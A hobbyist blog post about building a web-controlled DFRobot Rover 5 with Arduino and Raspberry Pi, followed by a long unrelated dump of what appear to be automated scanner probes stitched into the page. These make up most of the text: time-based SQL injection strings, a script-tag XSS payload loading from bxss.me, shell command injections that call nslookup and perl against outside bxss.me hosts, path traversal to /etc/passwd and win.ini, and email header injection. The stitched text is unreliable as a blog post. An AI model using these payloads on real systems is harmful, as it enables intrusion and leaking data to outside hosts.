DFrobot Rover 5
Posted by: Mark Millar on December 17, 2012I started learning robotics over a year ago when I got my first arduino. I quickly made some static projects to monitor room temperature and log data, but I wanted to do more than monitor temperature. I wanted a rover I could control over the web that could move around its environment. So I made one using an arduino and a raspberry PI. I hope to document the development steps that I went through over the last year to build this rover.
The goals for this project were to build a rover:
- For use in an indoor environment
- Wireless Control
- Controlled over the web
- Provide visual feedback
- Provide sensor feedback
My girlfriend got me a rover 5 kit from DFrobot last Christmas and I hacked together a way to control it using PHP. It has been a fun project and I have been asked by a few friends to document the project. It would have been easier to have done this when I was doing the project but I will give it a go.
To start with I assembled the rover and had it connected to an old laptop. Here I could develop the PHP to control the rover and the interface that I would use for seeing what the rover could see.

The first step was to get the rover working using the serial interface in the arduino IDE. Being a first person shooter FPS gamer I am used to using the W, A, S, D controls for movement. The rover was programmed to have the standard response to the W, A, S, D controls with W sending the rover forward.
Using the serial interface in the IDE was not a great method of testing the controls so a small processing program was made to fine tune and test the movement from key presses.
Example Code:
Arduino Code
Processing Code Post tags: ...coming soon!...
1
1
1
o2Zflje2
-1 OR 2+870-870-1=0+0+0+1 --
-1 OR 3+870-870-1=0+0+0+1 --
-1 OR 2+50-50-1=0+0+0+1
-1 OR 3+50-50-1=0+0+0+1
-1' OR 2+527-527-1=0+0+0+1 --
-1' OR 3+527-527-1=0+0+0+1 --
-1' OR 2+154-154-1=0+0+0+1 or 'ZbvXLNn2'='
-1' OR 3+154-154-1=0+0+0+1 or 'ZbvXLNn2'='
-1" OR 2+302-302-1=0+0+0+1 --
-1" OR 3+302-302-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
zfGWOI31'; waitfor delay '0:0:15' --
-5 OR 875=(SELECT 875 FROM PG_SLEEP(15))--
-5) OR 886=(SELECT 886 FROM PG_SLEEP(15))--
-1)) OR 675=(SELECT 675 FROM PG_SLEEP(15))--
jSEWZOIK' OR 608=(SELECT 608 FROM PG_SLEEP(15))--
xPzA32JX') OR 572=(SELECT 572 FROM PG_SLEEP(15))--
RyewzYni')) OR 346=(SELECT 346 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
@@NIk1O
1
1
1
1
1
1
1
1
1
response.write(9724890*9503096)
1
1'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/s?u=009365&r=444-1284&h=444-b4154-2&"></script>
1
'+response.write(9724890*9503096)+'
1
1
1
1
"+response.write(9724890*9503096)+"
1
1
1
1
1
1
echo lkvtgj$()\ gaxhxk\nz^xyu||a #' &echo lkvtgj$()\ gaxhxk\nz^xyu||a #|" &echo lkvtgj$()\ gaxhxk\nz^xyu||a #
1
EkjIWfuI
1
&echo irpjnf$()\ nnlrba\nz^xyu||a #' &echo irpjnf$()\ nnlrba\nz^xyu||a #|" &echo irpjnf$()\ nnlrba\nz^xyu||a #
1
1
1
|echo uplwbs$()\ igiisq\nz^xyu||a #' |echo uplwbs$()\ igiisq\nz^xyu||a #|" |echo uplwbs$()\ igiisq\nz^xyu||a #
1
(nslookup hityhtdpxqizx33262.bxss.me||perl -e "gethostbyname('hityhtdpxqizx33262.bxss.me')")
1
1
../../../../../../../../../../etc/passwd
1
$(nslookup hitgavrlffrzq79794.bxss.me||perl -e "gethostbyname('hitgavrlffrzq79794.bxss.me')")
1
../../../../../../../../../../windows/win.ini
1
1
&(nslookup hitdyrhyptoleffc78.bxss.me||perl -e "gethostbyname('hitdyrhyptoleffc78.bxss.me')")&'\"`0&(nslookup hitdyrhyptoleffc78.bxss.me||perl -e "gethostbyname('hitdyrhyptoleffc78.bxss.me')")&`'
1
1
1
|(nslookup hitboqpmvkati3dd18.bxss.me||perl -e "gethostbyname('hitboqpmvkati3dd18.bxss.me')")
../1
1
1
bcc:009365.444-1288.444.b4154.18580.2@bxss.me
`(nslookup hitbyziykbhvh78b2a.bxss.me||perl -e "gethostbyname('hitbyziykbhvh78b2a.bxss.me')")`
1
1
to@example.com>
bcc:009365.444-1289.444.b4154.18580.2@bxss.me
1
1
1
;(nslookup hitqtabojgylj544d8.bxss.me||perl -e "gethostbyname('hitqtabojgylj544d8.bxss.me')")|(nslookup hitqtabojgylj544d8.bxss.me||perl -e "gethostbyname('hitqtabojgylj544d8.bxss.me')")&(nslookup hitqtabojgylj544d8.bxss.me||perl -e "gethostbyname('hitqtabojgylj544d8.bxss.me')")
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* {
<